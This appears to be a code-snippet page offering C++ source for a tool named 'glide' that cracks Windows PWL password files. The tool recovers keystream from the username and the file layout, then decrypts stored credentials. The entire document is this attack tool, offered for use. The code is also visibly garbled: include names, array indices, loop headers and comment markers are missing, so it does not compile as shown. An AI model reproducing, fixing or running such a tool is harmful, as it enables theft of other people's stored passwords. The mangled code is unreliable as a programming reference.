Get the computer password (C++)

//Get the computer password
# include
# include
# include
# include
# include
# include
# include

unsigned char huge Data[100001];
unsigned char keystream[1001];
int Rpoint[300];

void main(int argc,char *argv[]){
FILE *fd;
int i,j;
int size;
char ch;
char *name;
int cracked;
int sizemask;
int maxr;
int rsz;
int pos;
int Rall[300]; Resourse allocation table 

if(argc<2){
printf("usage: glide filename (username)");
exit(1);
}
Read PWL file 

fd=fopen(argv[1],"rb");
if(fd==NULL){
printf("can't open file %s",argv[1]);
exit(1);
}
size=0;
while(!feof(fd)){
Data[size++]=fgetc(fd);
}
size--;
fclose(fd);

Find Username 
name=argv[1];
if(argc>2)name=argv[2];
printf("Username:%s
",name);

Copy encrypted text into keystream 
cracked=size-0x0208;
if(cracked<0)cracked=0;
if(cracked>1000)cracked=1000;
memcpy(keystream,Data+0x208,cracked);

Generate 20 bytes of keystream 
for(i=0;i<20;i++){
ch=toupper(name);
if(ch==0)break;
if(ch=='.')break;
keystream^=ch;
};
cracked=20;

Find allocated resources 

sizemask=keystream[0]+(keystream[1]<<8);
printf("Sizemask:%04X
",sizemask);

for(i=0;i<256;i++){
if(Data!=0xff){
Rall[Data]++;
if(Data>maxr)maxr=Data;
}
}

maxr=(((maxr/16)+1)*16); Resourse pointer table size appears to be
divisible by 16 

Search after resources 

Rpoint[0]=0x0208+2*maxr+20+2; First resources 
for(i=0;i;
rsz=Data[pos]+(Data[pos+1]<<8);
rsz^=sizemask;
printf("Analysing block with size:%04x (%d:%d)
",rsz,i,Rall);
if((Rall==0)&&(rsz!=0)){
printf("Unused resourse has nonzero size!!!
");
printf("If last line produed any:You may try to recover
");
printf("Press y to attempt the recovery
");
ch=getch();
if(ch!='y')exit(0);
rsz=2;
i=i-1;
}
pos=pos+rsz;

Resourse have a tedency to have the wrong size for some reason
Chech for correct size

if(i & 0x00ff;
keystream[21+2*i]^=(Rpoint>>8) & 0x00ff;
}
cracked+=maxr*2+2;
printf("%d Bytes of ketstream recoverd 
",cracked);

Decrypt resources 
for(i=0;i;
if(rsz>cracked)rsz=cracked;
printf("Resource[%d](%d)
",i,rsz);
for(j=0;j+j]^keystream[j]);
printf("
");
}
exit(0);
}